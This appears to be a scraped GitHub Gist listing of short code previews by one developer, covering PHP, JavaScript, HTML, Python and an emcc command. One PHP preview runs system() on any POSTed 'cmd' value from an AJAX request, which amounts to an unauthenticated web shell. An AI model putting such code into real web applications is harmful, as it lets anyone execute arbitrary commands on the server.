- Create repo on GitHub where you'll put your files.
- Use jsDeliver or statically to get your assets.
Here is repo I'm using:
https://github.com/jcubic/static
And links to files look like this:
Here is repo I'm using:
https://github.com/jcubic/static
And links to files look like this:
<?php | |
// Copyright (C) Jakub T. Jankiewicz | |
// this code is released to Public Domain with CC0 license | |
// created with the help from ChatGPT | |
$default_country = [ | |
'name' => 'Poland', | |
'code' => 'PL' | |
]; |
javascript:(function($) { | |
var handlers = []; | |
if (typeof Shiny !== 'undefined') { | |
Shiny.addCustomMessageHandler("__EVAL__", function(data) { | |
handlers.forEach(function(handler) { | |
handler(data); | |
}); | |
}); | |
} | |
var index = 0; |
console.log(parse(`(define (square x) | |
"Function calculate square of a number" | |
(* x x))`)[0].toString()); | |
// ==> (define (square x) "funkcja square wywołanie (square 10) zwraca 100" (* x x)) |
<!DOCTYPE HTML> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
<meta charset="utf-8" /> | |
<meta http-equiv="Content-Security-Policy" content="script-src code.jquery.com 'nonce-2726c7f26c'; style-src 'nonce-2726c7f26c'" /> | |
<title></title> | |
<meta name="Description" content=""/> | |
<link rel="shortcut icon" href=""/> | |
<!--[if IE]> | |
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> |
#!/usr/bin/env python | |
from smtplib import SMTP_SSL as SMTP | |
from email.mime.text import MIMEText | |
from optparse import OptionParser | |
from email.Utils import formatdate | |
import sys | |
if __name__ == '__main__': |
<?php | |
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && | |
$_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && isset($_POST['cmd'])) { | |
system($_POST['cmd']); | |
exit(); | |
} | |
?> | |
<!DOCTYPE html> | |
<html> | |
<head> |
<!DOCTYPE HTML> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
<meta charset="utf-8" /> | |
<title>File Explorer using jQuery UI</title> | |
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script> | |
<script src="http://code.jquery.com/ui/1.12.0/jquery-ui.js"></script> | |
<script src="jquery.filebrowser/js/jquery.filebrowser-src.js"></script> | |
<script src="json-rpc/json-rpc.js"></script> |
<!DOCTYPE HTML> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
<meta charset="utf-8" /> | |
</head> | |
<body> | |
<button id="sse_start" disabled>Start</button> | |
<button id="sse_stop" disabled>Stop</button> | |
<pre id="output">Loading Service Worker</pre> | |
<script> |
emcc -o main.html -s FETCH=1 -s NO_EXIT_RUNTIME=0 main.c |